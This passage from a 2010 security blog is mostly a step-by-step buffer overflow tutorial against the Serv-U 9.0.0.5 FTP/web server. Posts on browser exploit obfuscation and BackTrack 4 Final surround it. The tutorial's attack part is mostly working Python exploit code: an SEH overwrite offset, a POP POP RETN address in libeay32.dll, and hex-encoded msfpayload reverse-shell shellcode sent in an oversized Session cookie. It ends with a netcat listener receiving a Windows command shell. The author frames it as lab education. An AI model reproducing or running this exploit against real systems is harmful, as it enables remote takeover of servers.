My particular version of this exploit has been written to be as readable and easy to understand as possible, using (hopefully) clear variable names, easily readable layout and structure and no other obfuscation.  If you check out the original exploit, or the Metasploit equivalent, you will see that strings have been mangled, variable names changed to the incomprehensible, data has been randomised and code has been obfuscated.

The original exploit code you see at Wepawet for example has already had one layer of obfuscation removed (a good dissection of this is here), and even after one layer of decoding it is still hiding it's heap spray code inside the sss variable.

It's important to be aware that it is always possible to use obfuscation in script based exploits (including browser exploits) to disguise pretty much any code you wish, including the HTML components.  This particular characteristic of script based exploits definitely can make automated detection very challenging.  Time to switch to using Firefox and NoScript ;)

Sunday, January 17, 2010

Windows Buffer Overflow Tutorial: Dealing with Character Translation

Introduction

This is the third entry in my series of buffer overflow tutorials.

In case you missed them, here are entries one and two. These tutorials are designed to build upon skills taught in each of the preceding tutorials, so I recommend that you complete the first two before you attempt this one.

In this entry we will be doing another SEH Stack based overflow, however in this case our buffer will be translated into a hexadecimal value in memory at the point where the SEH overflow occurs.  This requires us to structure our buffer slightly differently, and also requires us to use a different method to find our SEH overwrite offset.

The vulnerable application we will be using is Serv-U 9.0.0.5, which has an exploitable vulnerability related to its handling of overly long Session cookie values.

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don't have permission to access. It's illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don't say you haven't been warned.


Required Knowledge

To follow this tutorial you will need to have basic knowledge of:
  • TCP/IP networking,
  • management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and
  • running Python scripts.

You need to have good enough knowledge of the attacking system you use (whether it be BackTrack, another type of Linux, Windows or anything else) to be able to run programs and scripts as well as transfer files.

Knowledge of basic debugger usage with OllyDbg, including the ability to start and attach to programs, insert breakpoints, step through code, etc, is expected. This is covered in my first tutorial.

I will also expect at this stage that you know how a SEH Based Buffer Overflow exploit is achieved.  This is covered in my second tutorial.

Python programming skills and knowledge of Metasploit usage are a bonus but not required.


System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP SP2, and a attacking system running BackTrack 4 Final.

You don't need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2 or earlier for the victim system. The attacking system can be anything you feel comfortable in, as long as it can run the software I have specified below, and as long as you are able to translate the Linux commands I will be listing below into something appropriate for your chosen system.

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the Metasploit Unleashed course, starting in the section "02 Required Materials" - "Windows XP SP2" up to the section entitled "XP SP2 Post Install".

Your victim system must also use a X86 based processor.

In this tutorial my attacking and victim systems used the following IP Addresses. You will need to substitute the addresses of your own systems where ever these addresses appear in the code or commands listed below.
  • Attacker system: 192.168.20.11
  • Victim system: 192.168.10.27

The two systems are networked together and I have interactive GUI access to the desktop of the victim system via a remote desktop session. You will need to be able to easily and quickly switch between controlling your attacking system and the victim system when following this tutorial, and you will need to be able to transfer files from your victim system to the attacking system, so make sure you have things set up appropriately before you proceed.


Required Software on Attacking and Victim Systems

Your attacker and victim systems will need the following software installed in order to follow this tutorial. By using BackTrack 4 Final for your attacking system you will take care of all the attacking system prerequisitites.

The attacking system requires the following software:
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat

The victim system requires the following software:

For this particular exploit, we need to send a rather large buffer to the vulnerable application, so ensure that the network between the two systems is reliable.  If you are having issues reproducing the exploitable crash, the networking layer could be causing the problem.  Confirm that you are not getting RST packets from the victim system while sending the malicious HTTP request if you can't make the application crash.  If this is the case then you will need to troubleshoot the problem at the network layer.

Serv-U also doesn't give you an obvious error when it isn't listening on port 80 because some other application has already bound to that port.  Confirm the process that is listening on port 80 by using the following commands:

Check the output of the following for the process listening on port 80 and note its process ID (PID):

netstat -ano

Match the PID listening on port 80 with its process name using the output from the below and ensure that the Serv-U.exe process is the one listening on port 80:

tasklist

Ensure that all required software is installed and operational before you proceed with this tutorial.


Attaching the Serv-U Application to a Debugger

I have covered the process of attaching a vulnerable application to a debugger extensively in my last two tutorials, so I will just provide a very brief overview of the process here.

The process that you want to attach to in OIllyDbg is named Serv-U.exe, and by default it will be installed as a Windows service named "Serv-U File Server".  Stop and start the process by using the Services Control Panel option, and use OllyDbg to attach to the process once it is running.

As before, you will need to restart the vulnerable process and reattach to it in the debugger each time you want to reproduce the exploitable crash.


Triggering the Exploitable Crash

After checking the POC in the original advisory, looking at other examples of the exploit, and one other advisory, I discovered that the exploitable crash can be reproduced by sending an overly long Session cookie to the Serv-U application in a HTTP Post request.

After some trial and error involving sending different buffer sizes to the Serv-U application, and viewing the structure of the stack in the debugger, I eventually settled on a Session cookie size of 96000 bytes as being optimal for exploitation.  I won't reproduce the entire process I used here, because it makes for pretty boring reading, but it basically involved modifying the size of the buffer sent, and confirming that the SEH Handler on the stack was overwritten and that there was space inside our sent buffer after the SEH Handler.  The second criteria is not absolutely necessary, but it makes exploitation slightly easier.

Since the crash is triggered by a Session Cookie sent in a Post request, we can essentially trigger it via sending the following to port 80 on the target system:

POST / HTTP/1.1
Host: Hostname
Cookie: Session=[96000 characters]

A skeleton exploit that will trigger the crash by sending a long string of "A" characters (the ASCII representation of a byte value 0x41) is shown below:

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer= "\x41" * 96000

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

When we trigger this crash we will get an access violation, and if we check the SEH Chain (View->SEH Chain menu option) we see that it has been overwritten with 'AAAAAAAA'.



This is unusual, because we sent the application a buffer full of 0x41 bytes, and if the SEH Handler had been overwritten from our buffer we would normally expect to see a value of 41414141, or four lots of 41.  Instead, each byte that makes up the the SEH Handler overwrite has the value 'AA'.

It looks as though the ASCII representation of the bytes we have sent (which is 'A' for 0x41), have been converted to a hexadecimal nibble (half a byte) so that the value of two of the bytes we have sent are now represented in a single byte in memory. 

Lets further test this theory by sending some different values in our buffer and checking to see how they are represented in memory when the application crashes.

Lets try sending 'abcd' (lower case) to the application.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="abcd" * 24000

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

At the time of this crash, the SEH Handler points to CDABCDAB.




The 'abcd' has been translated to hexadecimal ABCD, apparently that fact that our ASCII string was lower case didnt stop this Hexadecimal translation from occurring.  Lets try 'fghi'.  (For the next few examples to conserve space I will only show the lines of code I changed)

buffer="fghi" * 24000

This time the SEH Handler points to Crash points to 000F000F.  The lowercase 'f' was converted to a Hexadecimal F, and the 'ghi' characters, which don't have a Hexadecimal equivalent, were converted to 0.

Lets try one more - 'efgh'.

buffer="efgh" * 24000

This time the SEH Handler points to 00EF00EF.  So ASCII characters A-F, regardless of case, are translated to hexadecimal values A-F, and any other character converts to a 0.

Lets do a check with numbers '0123' to confirm our Hexadecimal theory.

buffer="0123" * 24000

This time, the SEH Handler value is 23012301.  So our ASCII string of characters that we send to the application in the Session cookie is interpreted as a Hexadecimal value in the memory buffer that overwrites the SEH Handler.


Finding the Overwrite Location

In the previous two tutorials, we found offset values within our buffer via using the Metasploit pattern_create.rb script.  This method is not going to work in this case however, because the Metasploit script uses characters outside of the 0-9, A-F range, and it uses both uppercase and lowercase characters.  Any of these out of range characters will be translated to a 0, or the case information for the A-F characters will be lost, and this will prevent us from being able to provide the correct input value to pattern_offset.rb to find the offset.

We will have to use a different method to find the overwrite location.  Knowing that characters 0-9 and A-F will be represented in the memory display we see in the debugger, we can use a set of structured buffer made up of these characters only to narrow down the exact overwrite location.

Given that we have 16 characters we can use, we first break the buffer of 96000 into 16 x 6000 character blocks.  Then, based on what the overwrite value of the SEH Handler is, we will know which 6000 character block our overwrite occurs in.  The following code will do this for us:

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = ""

for i in range(0, 16):
    buffer += hex(i)[2:].upper() * 6000

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

When we run this exploit, the value of the SEH Handler is set to DDDDDDDD.  If you want to, you can confirm that the buffer is structured as expected by right clicking on the SEH Handler Value in the SEH Chain window and selecting Follow address in stack. 



On the stack you should be able to see that the SEH Handler sits within a large buffer of D values (with the exception of some minor mangling just before the SEH Handler).



This means that our overwrite occurs in the 'D' section of our buffer.  This gives us a range of 78000 and 84000 where our overwrite location sits, given that 0xD x 6000 is 78000 and 0xE x 6000 is 8400.

Now lets narrow this down further.  6000 divided by 16 is 375.  Lets create a buffer of mostly 'A' characters, but lets put a block of 6000 characters made up of an even distribution of values 0-9 and A-F (375 of each) between bytes 78000 and 84000.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="\x41" * 78000

for i in range(0, 16):
    buffer+=hex(i)[2:].upper() * 375
   
buffer+="\x41" * (96000 - len(buffer))

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

The next value of the SEH Handler is AAAAAAAA.  This means that the overwrite occurs between bytes 3750 (0xA x 375) and 4125 (0xB x 375) within our 6000 byte buffer, or between bytes 81750 (3750 + 78000) and 82125 (4125 + 78000) within the total buffer.

If we check the overwrite location on the stack we can see the 'B' values starting a little bit below the block of 'A' values that have overwritten our SEH Handler, so we know that we are within our 6000 mixed block.




Lets narrow it down once more.  375 doesn't divide evenly by 16, so we will use a block of 24 sets of 0-9 and A-F characters, making for a total block of 384.  As long as we completely cover the 375 character space that we know our overwrite location sits within, it doesnt matter if we go a bit over.  We insert this set of mixed characters into the 375 byte window where we know our overwrite location sits - sometime after byte 81750.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="\x41" * 81750

for i in range(0, 16):
    buffer+=hex(i)[2:].upper() * 24
   
buffer+="\x41" * (96000 - len(buffer))

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

This again gives us a SEH Handler value of AAAAAAAA and when we check the stack we can see that the SEH Overwrite occurs after the tenth A character, and the pointer to the next SEH record (the 4 bytes immediately before the SEH overwrite) also has the value AAAAAAAA, and occurs after the second A character.



From this we can actually work out the exact overwrite address.  For the pointer to the next SEH record it is 2 + 240 (0xA x 24) + 81750 = 81992.

Lets restructure our skeleton exploit and see if the SEH Handler is overwritten by the expected value of CCCCCCCC.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="\x41" * 81992
buffer+="BBBBBBBB" # Next SEH pointer
buffer+="CCCCCCCC" # SEH Overwrite
   
buffer+="\x41" * (96000 - len(buffer))

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

Success!  We get a value of CCCCCCCC in the SEH Handler.


Finding a SEH Handler Overwrite Address

Now that we know the exact offset of the SEH Handler overwrite within our buffer, we need to find an appropriate address that can allow us to gain control of code execution via the Windows error handling routines.

As discussed in my previous tutorial on SEH Buffer Overflow exploitation, we need to find a module loaded by the application that hasnt been compiled with the /SafeSEH ON option AND which hasn't disabled all addresses in that module being used as SEH Handlers by using the IMAGE_DLLCHARACTERISTICS_NO_SEH flag.

As it did in the last tutorial, the OllySSEH Ollydbg Plugin crashed for me again, so Im doing things the slightly harder way once more.

I checked the list of loaded modules in OllyDbg (View->Executable Modules menu option) and looked first for a third party module loaded with the application.




As mentioned in my previous tutorials, a third party module (in other words one provided with the application itself) has the benefits of usually being compiled without the /SafeSEH ON and IMAGE_DLLCHARACTERISTICS_NO_SEH options, making it suitable for use with SEH overwrite exploits.  It also provides a stable overwrite location that should work across multiple Operating Systems, since dlls provided with the application should be identical and should be loaded from the same base address on different systems.

Looking at the list I picked the first module provided with the Serv-U application that did not have a leading zero byte in the base address - libeay32.dll.  I picked a module without a leading zero byte because zero bytes usually break buffer overflows, however it turns out in this case this doesn't actually matter because the character conversion that occurs creates each byte that appears in memory from two ASCII characters sent from our exploit.  This means that we can actually create a zero byte in memory if we wish by using two ASCII zeros (\x30), effectively giving us no bad characters in this exploit!

Lets transfer this file to our attacking system and analyse it with msfpescan to confirm that it doesn't have the compiler options set that would make it unsuitable for use in providing a SEH Overwrite address.

user@bt:/tmp$ msfpescan -i libeay32.dll | grep -E '(DllCharacteristics|SEHandler)'
DllCharacteristics           0x00000000

Remember that If we see any SEHandler entries, it means that a SEH Handler exists in the dll and that the module was compiled with /SafeSEH ON.  We see no such entries here, so we are safe on this count.

In the DllCharacteristics value, we want to confirm that the third byte from the left does not have the '4' bit set to confirm that the module does not have the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set.  If the value of the third byte (the one marked by 'X' in 0x00000X00) is not '4, 5, 6, 7, C, E or F' (in other words if the '4' bit or 00000100 is not on), then the module does not have this flag set.  The third byte does not have the 4 bit set, so we are safe on this count as well.

Now lets proceed with finding an appropriate overwrite address in libeay32.dll.  As discussed in my SEH Buffer Overflow tutorial, to take control of code execution, we can enter into our buffer by using a RETN instruction on the third value on the stack at the time that the initial exception is handled using the Structured Exception Handler.  To do this we look for a POP, POP, RETN instruction in libeay32.dll. 

View the code of libeay32.dll in OllyDbg (right click on it in the Executable Modules window and hit Enter or right click and select View code in CPU), and right click in the CPU pane and select Search for->Sequence of commands.

Enter the following commands to be searched for and hit Find:

POP r32
POP r32
RETN

Like so:




I found my a POP, POP, RETN instruction at 0FB010C1 in libeay32.dll which I will use to overwrite the SEH Handler to gain control of the CPU.





Making use of the Character Translation to Gain Control of Code Execution

Now if you remember from my first SEH Overflow tutorial, running the POP, POP, RETN instructions takes us into our buffer four bytes before the SEH Handler address.  What we want to do to give us some usable buffer space to work in is to jump over the overwritten SEH Handler to the uninterrupted buffer space beyond.  A JUMP SHORT 6 instruction will achieve this for us, but remember that we cant just enter the \xeb\x06 into our buffer directly because of the character translation to Hexadecimal.  What we need to do is instead enter the ASCII equivalent of "EB06" and let the Hexadecimal translation convert this for us to the byte equivalent.

We also need to ensure that when we enter the overwrite location we take into account the little endian order of the x86 CPU, so we enter the overwrite location of 0FB010C1 as "C110B00F".  Lets see the skeleton exploit:

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="\x41" * 81992
buffer+="EB069090" # Next SEH pointer \xeb\x06 JUMP SHORT 6, \x90\x90 NOP Padding
buffer+="C110B00F" # SEH Overwrite 0FB010C1 POP EBX, POP ECX, RETN libeay32.dll
   
buffer+="\x41" * (96000 - len(buffer))

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

If you set a breakpoint on the SEH Handler address and run this exploit, after you pass the exception through to the application to handle using the Shift + F9 keys, you should now be able to step execution through to the area of the buffer after the SEH Handler using the F7 key.

Remember that to set a breakpoint you can either select the address in the CPU pane and hit F2 or just hit F2 on the entry on the SEH Chain window once the crash has been triggered.


Adding the Shellcode

Now we have control of the CPUs execution path, we need to add some shellcode to our exploit so it will do something useful.  Again, we won't be able to directly add the bytes of the shellcode directly to our exploit, we will need to convert them to ASCII characters first.

This command below will generate some reverse shell shellcode, and convert it to a workable format that can be easily pasted into our exploit.

user@bt:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | xxd -ps | tr 'a-f' 'A-F' | sed 's/0A$//' | sed 's/$/"/' | sed 's/^/"/'
"FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF"
"31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885"
"C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D"
"01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B"
"048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D683332000068"
"7773325F54684C772607FFD5B89001000029C454506829806B00FFD55050"
"50504050405068EA0FDFE0FFD589C768C0A8140B68020001BB89E66A1056"
"576899A57461FFD568636D640089E357575731F66A125956E2FD66C74424"
"3C01018D442410C60044545056565646564E565653566879CC3F86FFD589"
"E04E5646FF306808871D60FFD5BBF0B5A25668A695BD9DFFD53C067C0A80"
"FBE07505BB4713726F6A0053FFD5"

An explanation of what this command is doing may be helpful.  We run msfpayload using the R option to provide the output in raw bytes, and we then pipe this into 'xxd -ps' to convert the binary output from msfpayload into the Hexadecimal representation of the values of each individual byte.  This is similar to what you would see in a Hex Editor and also similar to the C output format of msfpayload without the \x characters before each byte.

When then pipe this into 'tr 'a-f' 'A-F''.  This is not strictly necessary since the case of the A-F characters doesn't matter for the purpose of the Hexadecimal translation, Im just doing it to make what we enter visually match what appears in the debugger.

Then we pipe that into 'sed 's/0A$//'' which removes the trailing line feed character added by msfpayload.  We then pipe into 'sed 's/$/"/'' and 'sed 's/^/"/'' which adds double quotes to the end and start of each line for easier pasting into our exploit.

Lets see what the final exploit code looks like.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer="\x41" * 81992
buffer+="EB069090" # Next SEH pointer \xeb\x06 JUMP SHORT 6, \x90\x90 NOP Padding
buffer+="C110B00F" # SEH Overwrite 0FB010C1 POP EBX, POP ECX, RETN libeay32.dll
#msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | xxd -ps | tr 'a-f' 'A-F' | sed 's/0A$//' | sed 's/$/"/' | sed 's/^/"/'
buffer+=("FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF"
"31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885"
"C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D"
"01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B"
"048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D683332000068"
"7773325F54684C772607FFD5B89001000029C454506829806B00FFD55050"
"50504050405068EA0FDFE0FFD589C768C0A8140B68020001BB89E66A1056"
"576899A57461FFD568636D640089E357575731F66A125956E2FD66C74424"
"3C01018D442410C60044545056565646564E565653566879CC3F86FFD589"
"E04E5646FF306808871D60FFD5BBF0B5A25668A695BD9DFFD53C067C0A80"
"FBE07505BB4713726F6A0053FFD5")
buffer+="\x41" * (96000 - len(buffer))

postreq="POST / HTTP/1.1\r\n"
postreq+= "Host: " + target_address + "\r\n"
postreq+= "Cookie: Session=" + buffer + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(postreq)
sock.close()

Now lets set up a listener:

user@bt:~$ sudo nc -nvvlp 443
listening on [any] 443 ...

And we run the exploit:

user@bt:~$ sudo nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 2767
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

We have shell!  This completes this exploit.

Wednesday, January 13, 2010

BackTrack 4 Final First Impressions

I just finished installing BackTrack 4 Final and I thought I would list some of my initial impressions of it here.

I performed a fresh install of BackTrack 4 Final, over the top of my old BackTrack 4 PreFinal install.  Apparently an upgrade is possible (according to this) but it sounds like it might cause some small niggles so I decided to go with the fresh install option.

Theres a few things that immediately stand out as being different from BT 4 PreFinal. 


The most obvious change is the new desktop background, featuring the familiar dragon with some new features added.





BT4 Final still uses the Ubiquity installer, launched via a install.sh icon on the desktop, however this time during the very simple installation (only 7 steps) we actually get the option to resize the existing partitions when we install, instead of having to delete all existing data.  This will be handy for dual boot installations.




The BT4 Final installer also no longer installs a limited privilege user to be used after the system is installed, and instead uses the root account with the familiar 'toor' password. 

I guess this will help prevent some of the confusion felt by new users when they try and run programs that require root privileges, however I personally prefer NOT to run everything as root, so I created myself a new unprivileged user to use for logging in.
adduser lupin


And since /etc/sudoers comes preconfigured to allow members of the admin group to run any program via sudo, I enabled sudo access for my new user by adding them to the admin group.

usermod --groups admin lupin


Where it previously had a local copy of the milw0rm exploit database, BackTrack now has a local copy of the exploit-db, which was created a little while back to fill the void when milw0rm stopped receiving new exploits.  There is also a script to update the exploits stored locally.

A number of things also appear to be the same as in BackTrack 4 PreFinal. 

The general KDE menu structure and layout of the /pentest directory seems the same as in BT4 Prefinal.  There are apparently new and custom tools added to this edition, but I haven't been able to immediately identify them. Thats hardly surprising though when you consider the sheer number of tools that BackTrack has included.

There also still doesn't appear to be any method to automatically update the system when security related patches are released.  If you are running BT4 Final as an installed system you will need to make use of the following commands (run as root) to keep your system up to date.  These will update your system from the Offensive Security repositories.  You might want to delay trying to acess the repositories at the moment however, as they seem to be under quite a load, what with the recently release of the new BackTrack version.

apt-get update
apt-get upgrade

Like in every other BaackTrack edition before it, in BackTrack 4 Final networking is not started by default.  The reasoning behind this is in order to not send DHCP messages onto client networks during a pentest.  On the system I have BackTrack 4 Final installed on, I do like to start networking automatically, and you can do this too via the following commands run as root.

Start networking automatically:

update-rc.d defaults networking

Start  wicd service automatically (this provides GUI based wireless network configuration, and will auto connect to any wireless network you have configured for connection in the wicd GUI):

update-rc.d defaults wicd

The BackTrack GUI desktop is also not started by default.  Personally, although I use the command line a lot, I always boot the GUI so I can easily switch between multiple command line windows and browse the web, so I automatically start the GUI using kdm.  Run the following as root to do this (make sure you have Internet connectivity first):

apt-get install kdm

Within Firefox, we also have many of the same addons as were installed in BT4 Prefinal, including NoScript (which is THE must have addon for Firefox - I never browse without it), as well as Tamper Data, HackBar, GreaseMonkey, Firebug and FoxyProxy Standard.  Apart from NoScript, the majority of these start off disabled, so you need to Enable them in your AddOns window to make use of them.

We also see that the Desktop path is set to the users home directory as it was in BT4 PreFinal.  I personally find this annoying, because every file that gets created in your home folder then ends up on the desktop, leading (in my case at least) to very rapid clutter.  I create a Desktop folder under my home directory and set the Desktop location to this new folder using the K->System->Settings->System Administration->Paths menu option.

BackTrack 4 also uses the basic version of vi that seems to come preinstalled on all Linux distributions, which I always replace with vim (vi improved).

apt-get install vim

I will be playing with BackTrack 4 Final a bit more over the next few days to see what else has changed and what other customisations I may need to make.  Already, I think that there might be a few missing menu options for my new unpriviliged user that I might have to move over from the the root users .kde3 folder and reconfigure to run as sudo.  I am also having an issue with my mouse pointer deforming under certain circumstances that I will have to look into.

All in all however, it seems like the BackTrack Team has done a good job on this release and I congratulate them on their success.

Tuesday, January 12, 2010

BackTrack 4 Final Released!

BackTrack 4 Final has finally been released!

Along with the new BackTrack version there is also a new website including various installation, customisation and usage HowTo documents, a new blog, and a new forum.

I am currently downloading BT4 Final from the official torrent (the official downloads are here, dont forget to check the MD5 hash!) , and I will post here again with my first impressions once the download is complete and I have had a chance to look at things.

The new versions of backTrack apparently contains an expanded toolset, lots of bugfixes from the Beta and PreFinal releases, and some custom tools which I am looking forward to checking out.  BackTrack 4 Final also appears to still use a custom repository for software installation, which should make it more suitable to use as an everyday Linux system - Im wondering if there is now some automated update tool included.

Should be interesting...